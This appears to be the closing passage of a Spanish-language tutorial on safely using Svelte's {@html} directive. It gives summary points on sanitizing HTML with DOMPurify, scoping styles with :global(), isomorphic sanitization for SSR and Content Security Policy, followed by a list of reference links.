La clave es tratar @html como una operación sensible a la seguridad que requiere el mismo manejo cuidadoso que darías a las consultas de base de datos o a la lógica de autenticación. Con DOMPurify gestionando la sanitización y las estrategias de estilos adecuadas en su lugar, puedes renderizar con confianza contenido HTML enriquecido mientras mantienes una postura de seguridad robusta.

Puntos Clave

{@html} renderiza strings HTML sin procesar sin escapar, lo que lo hace esencial para contenido de CMS, renderizado de Markdown y resaltado de sintaxis, pero requiere protección estricta contra XSS
Nunca confíes en la entrada del usuario - siempre sanitiza el HTML de cualquier fuente externa usando bibliotecas probadas en batalla como DOMPurify, no soluciones personalizadas basadas en regex
La sanitización debe usar listas de permitidos (permitir explícitamente tags/atributos seguros) en lugar de listas de bloqueados (bloquear patrones conocidos como peligrosos) para una seguridad efectiva
Los estilos del componente no se aplican al contenido de @html - el alcance de Svelte solo afecta a los componentes compilados, requiriendo el uso de :global() como contenedor u hojas de estilo externas para el estilado del contenido HTML
SSR requiere sanitización isomórfica - usa isomorphic-dompurify para garantizar un comportamiento de sanitización consistente entre el renderizado del servidor y el cliente
La configuración de DOMPurify es personalizable con hooks para validación de URLs, filtrado de atributos y manejo de tags personalizados mediante ALLOWED_TAGS, ALLOWED_ATTR y funciones hook
La Política de Seguridad de Contenido agrega defensa en profundidad - los encabezados CSP previenen la ejecución de scripts en línea incluso si la sanitización falla, proporcionando una capa de seguridad adicional
Los componentes reutilizables centralizan la seguridad - crea componentes dedicados como <SanitizedHTML> o <MarkdownRenderer> para aplicar una sanitización consistente en toda tu base de código

Ver También

Documentación oficial de Svelte 5 - {@html}
Biblioteca DOMPurify - Sanitización de HTML estándar de la industria
Hoja de referencia de prevención de XSS de OWASP
Política de Seguridad de Contenido (CSP) - Mecanismo de seguridad del navegador
Marked.js - Biblioteca de conversión de Markdown a HTML
Highlight.js - Resaltado de sintaxis para bloques de código
MDN - Riesgos de seguridad de innerHTML
isomorphic-dompurify - DOMPurify universal para SSR